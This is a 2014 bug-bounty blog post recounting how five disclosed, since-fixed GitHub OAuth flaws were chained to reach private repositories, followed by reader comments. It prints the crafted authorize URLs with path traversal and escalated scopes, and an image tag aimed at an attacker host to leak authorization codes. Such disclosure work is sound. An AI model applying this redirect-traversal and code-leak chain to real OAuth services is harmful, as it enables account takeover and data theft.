Friday, February 7, 2014

How I hacked Github again.

This is a story about 5 Low-Severity bugs I pulled together to create a simple but high severity exploit, giving me access to private repositories on Github.

These vulnerabilities were reported privately and fixed in timely fashion. Here is the "timeline" of my emails.

More detailed/alternative explanation.


A few days ago Github launched a Bounty program which was a good motivator for me to play with Github OAuth.

Bug 1. Bypass of redirect_uri validation with /../ 

First thing I noticed was:
If provided, the redirect URL’s host and port must exactly match the callback URL. The redirect URL’s path must reference a subdirectory of the callback URL
I then tried path traversal with /../ — it worked. 

Bug 2. Lack of redirect_uri validation on get-token endpoint

The first bug alone isn't worth much. There's protection in OAuth2 from "leaky" redirect_uri's, every 'code' has corresponding 'redirect_uri' it was issued for. To get an access token you must supply exact redirect_uri you used in the authorization flow.
redirect_uristringThe URL in your app where users will be sent after authorization. See details below about redirect urls.
Too bad. I decided to find out whether the protection was implemented properly.

It was flawed: no matter what redirect_uri the Client sent to get a token, the Provider responded with valid access_token.
Without the first bug, the second would be worth nothing as well. But together they turn into a powerful vulnerability — the attacker could hijack the authorization code issued for a "leaky" redirect_uri, then apply the leaked code on real Client's callback to log in Victim's account. Btw it was the same bug I found in VK.com.

It's a serious issue and can be used to compromise "Login with Github" functionality on all websites relying on it. I opened Applications page to see what websites I should check. This section got my attention:



Gist, Education, Pages and Speakerdeck are official pre-approved OAuth clients. I couldn't find client_id of Pages/Education, Speakerdeck was out of Bounty scope (I found account hijacking there and was offered $100). Let's find a Referer-leaking page on Gist then.

Bug 3. Injecting cross domain image in a gist.

Basically, there are two vectors for leaking Referers: user clicks a link (requires interaction) or user agent loads some cross domain resource, like <img>.
I can't simply inject <img src=http://attackersite.com> because it's going to be replaced by Camo-proxy URL, which doesn't pass Referer header to attacker's host. To bypass Camo-s filter I used following trick: <img src="///attackersite.com">
You can find more details about this vector in Evolution of Open Redirect Vulnerability.
///host.com is parsed as a path-relative URL by Ruby's URI library but it's treated as a protocol-relative URL by Chrome and Firefox. Here's our crafted URL:

https://github.com/login/oauth/authorize?client_id=7e0a3cd836d3e544dbd9&redirect_uri=https%3A%2F%2Fgist.github.com%2Fauth%2Fgithub%2Fcallback/../../../homakov/8820324&response_type=code

When the user loads this URL, Github 302-redirects him automatically.

Location: https://gist.github.com/auth/github/callback/../../../homakov/8820324?code=CODE

But the user agent loads https://gist.github.com/homakov/8820324?code=CODE

Then user agent leaks CODE sending request to our <img>:
As soon as we get victim's CODE we can hit https://gist.github.com/auth/github/callback?code=CODE and voila, we are logged into the victim's account and we have access to private gists.

Bug 4. Gist reveals github_token in cookies

I was wondering how Gist persists the user session and decoded _gist_session cookie (which is regular Rails Base64 encoded cookie):
Oh my, another OAuth anti-pattern! Clients should never reveal actual access_token to the user agent. Now we can use this github_token to perform API calls on behalf of the victim's account, without the Gist website. I tried to access private repos:
Damn it, the token's scope is just "gists", apparently...

Bug 5. Auto approval of 'scope' for Gist client.

Final touch of my exploit. Since Gist is a pre-approved Client, I assumed Github approves any scope the Gist Client asks for automatically. And I was right.

All we need now is to load the crafted URL into the victim's browser:

https://github.com/login/oauth/authorize?client_id=7e0a3cd836d3e544dbd9&redirect_uri=https%3A%2F%2Fgist.github.com%2Fauth%2Fgithub%2Fcallback/../../../homakov/8820324&response_type=code&scope=repo,gists,user,delete_repo,notifications

The user-agent leaks the victim's CODE, Attacker uses leaked CODE to log into the victim's Gist account, decodes _gist_session to steal github_token and ...
NoScript is not going to help. The exploit is script-less.
Private repos, read/write access, etc — all of it in stealth-mode, because the github_token belongs to Gist client. Perfect crime, isn't it?

Bounty


$4000 reward is pretty good. Interestingly, it would be even cheaper for them to buy 4-5 hours of my consulting services at $400/hr which would have cost them $1600 instead. Crowdsourced-security is also an important thing to have. It's better to use them both :)

I'd love to help your company & save you a lot of money.

P.S. I have two other posts about Github vulnerabilities: mass assignment and cookie tossing.

49 comments:

  1. Interestingly, it would be even cheaper for them to buy like 4-5 hours of my consulting services at $400/hr = $1600.

    but your minimum hours for short-term work is 8 == $3200.

    Anyway, great work.

    ReplyDelete
    Replies
    1. still cheaper + the rest would be spent on other bugs

      Delete
    2. Only assuming that you would find same vulnerabilities, somehow I doubt that process is deterministic.

      Then there is the fact that people look for issues for free and only get money if any are found. If security is perfect crowd sourcing is obviously cheaper as no payouts are ever made.

      Delete
    3. obviously i wasnt' serioius when i wrote this. It's just playing with words explaining why ppl shoudl hire me

      Delete
    4. I hope this is only the level of insight available with your free advice, otherwise $400 per hour seems a bit high.

      Delete
    5. Amazing how despite billing $400 an hour you post anonymously and can cite no references to your past work.

      Delete
    6. Yes, this is why you completely ignore these posts.

      Delete
    7. Dudes, he was citing the article...

      Delete
    8. For 4-5 hours of my consulting services they would have to pay you no matter what... even if you find no bug. Instead they get 4-5 hours of your time and 4-5 hours of hundreds of other peoples time and only pay when a bug is actually found. so even if they pay you 3 times as much as they "could" have its worth it to use the bounty because they get a ton of FREE hours form everyone else. They can pay a team of 1 or 2 engineers to validate the bugs instead of a full time security "team" and / or hiring and trusting 3rd party consulting services t find bugs that they have to internally validate anyway. They also look like the good guys that care about security and the community for having a bounty program.

      Delete
    9. If they would hire *me* 5 months ago I'd find the same chain 5 months ago. 5 months ago of being secure.

      Delete
    10. sorry. no matter what you charge for your knowdledge and pattern recognition. they are far away from "secure". stating something else is just ignorant. that what you and some of these other "hire me" posters do is nothing then messing around with a dead horse on one of the last abstraction layers.

      Delete
  2. Just FYI, it's "lo and behold"

    ReplyDelete
  3. It would only be cheaper if they are certain you will find something in 8 hours. They are freerolling with crowdsourcing.

    ReplyDelete
  4. "Hourly rate is $300 for long-term contracts ($12,000 per week) and $400 for short-term engagements (minimum is 8 hours)." And you're asking for donations?

    ReplyDelete
    Replies
    1. You make your money by finding security vulnerabilities and use that to travel Asia and live in Bangkok.

      I want to be you!

      Delete
  5. More importantly than bashing your rates or lifestyle, thank you!

    ReplyDelete
  6. Excellent article, and well done on the bounty!

    ReplyDelete
  7. A fun read. Please ignore the trolls. You certainly should advertise on your own blog.

    If someone wanted to learn to do this over the summer, where would you recommend they start? Asking for a friend. :)

    --M

    ReplyDelete
    Replies
    1. Start learning OAuth; how to implement it, how it works, etc. Without knowing how OAuth works these bugs become hard to track down.

      Delete
  8. Github, please hire Egor Homakov...

    ReplyDelete
  9. People are just jealous. They probably went off to youporn for a good wank after commenting, all horny on their 'awesome' bash of your cool post.

    ReplyDelete
  10. Great write-up, Egor. I've been rooting for you for a long time!

    ReplyDelete
  11. Nice work Egor. I assume what you mean by a "leaky" redirect_uri is one that will give out the authorization code? How can that happen?

    ReplyDelete
  12. "Clients should never reveal actual access_token to the user agent."

    How does stealing an access token differ from stealing a session id?

    ReplyDelete
    Replies
    1. You steal a token of the user = you can do anythings without 'website' in the middle. And if scope was bigger, as in this case, you can do more things, which website doesn't even serve functionality for.

      Delete
  13. I always find these security related blog posts amuzing, probably because I have zero knowledge in the field... Could you suggest a few sources that a novice / intermediate web developer should look into in order to start learning about security and vulnerabilities? I know the web is full of XSS, SQL, CSRF whatnot articles but every one I find seems very shallow.

    ReplyDelete
  14. You inspire me, thanks for being awesome!

    ReplyDelete
  15. Great works and very impressive !! A bit sorry of seeing a bunch of negative comments.
    Keep the rate and don't let people undervalue quality work..

    ReplyDelete
  16. How do I become you egor? How does one become expert at discovering security exploits? I feel like this is what I want to do as I am growing tired of creating web applications or mobile apps for clients. Would you care to write an article on aspiring pen testers?

    ReplyDelete
  17. I create a markdown Gist file, it can contain some limited HTML and imgs

    ReplyDelete
  18. I would donate to you, except I would expect the next day you would roll up in front of my house in a U-Haul as the new legal owner of my furniture, clothes, vehicles, and the copper piping in my house.

    ReplyDelete
    Replies
    1. You have excellent choice in donation swag, anon. Maybe I can take it down a notch by getting you a "my other Guy Fawkes mask is in my Secret Fawkes's-Cave" bumper sticker and we can quit having anonymous 5-ways.
      That way, the anonymous party celebrating progress quest Illuminati-styles with this article until 7 the next night isn't so confusing and does not conflict with the 4K meme party inspired by the same article (and kittens.)

      Delete
  19. I am surprised by Bug #1 - path traversal. :O

    I never expected such a bug from GitHub guys!

    ReplyDelete
  20. Please ignore the trolls. Awesome work. Instead of focusing on how you did it, they got stuck on the pay, which tells me that they are envious of your position.

    On a side note, I am amazed to see this sorta bugs from github.

    Anyway, great work.

    ReplyDelete
  21. Could you please answer this question about bug 2 ? http://security.stackexchange.com/questions/44214/what-is-the-purpose-of-oauth-2-0-redirect-uri-checking

    ReplyDelete
    Replies
    1. But Anderson already wrote everything clear. Wrong redirect_uri = no token back

      Delete
  22. can you tell what is a "user agent "

    ReplyDelete
  23. can you tell what is a "user agent " on Bug 4.. is this the browser??

    ReplyDelete
  24. I'm actually confused with bug 5, I don't know why you established it as a vulnerability when in GitHub webpage says you can do that:

    https://developer.github.com/v3/oauth/#scopes
    ---------------------------------
    NOTE: Your application can request the scopes in the initial redirection. You can specify multiple scopes by separating them with a comma:

    https://github.com/login/oauth/authorize?
    client_id=...&
    scope=user,public_repo
    ---------------------------------------------------

    Can you please make this clear to me?

    Thanks in advance.

    ReplyDelete
    Replies
    1. because there was no warning - since it is the original github client and pre-approved app, you could approve even the scopes the Gist client never needed (such as "repo" scope). This is why auto approving is bad, should warn the user first

      Delete
  25. I charge more than you for creating this type of flaw. Perhaps we should get together? I could get paid to create these bugs, you can get paid to find the ones I tell you about, and then I can get paid again to fix them ;)

    Nice write up and good work. Btw: quoting a day rate is more professional and more appealing to corporate clients.

    ReplyDelete